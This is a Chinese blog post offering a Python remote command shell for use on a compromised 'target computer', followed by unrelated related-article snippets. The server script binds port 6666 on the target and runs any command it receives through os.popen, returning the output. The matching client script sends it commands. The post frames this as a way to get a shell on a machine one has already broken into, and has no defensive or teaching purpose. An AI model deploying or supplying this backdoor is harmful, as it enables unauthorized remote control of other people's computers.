python模拟菜刀反弹shell绕过限制【推荐】

yipeiwu_com7年前Python基础

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

相关文章

Python列表删除的三种方法代码分享

1、使用del语句删除元素 >>> i1 = ["a",'b','c','d'] >>> del i1[0] >>> pri...

详解Python Socket网络编程

Socket 是进程间通信的一种方式,它与其他进程间通信的一个主要不同是:它能实现不同主机间的进程间通信,我们网络上各种各样的服务大多都是基于 Socket 来完成通信的,例如我们每天浏...

Python多线程编程(二):启动线程的两种方法

在Python中我们主要是通过thread和threading这两个模块来实现的,其中Python的threading模块是对thread做了一些包装的,可以更加方便的被使用,所以我们使...

python3 assert 断言的使用详解 (区别于python2)

python3 和python以前的版本有点不同 如果你断言的 语句正确 则什么反应都没有 但是如果你出错之后 就会报出 AssertionError 并且错误可以自己填写 格式 :...

Flask使用Pyecharts在单个页面展示多个图表的方法

Flask使用Pyecharts在单个页面展示多个图表的方法

在Flask页面展示echarts,主要有两种方法: 方法1、原生echarts方法 自己在前端引入echarts.js文件、自己创建div、自己初始化echarts对象、自己从官网复制...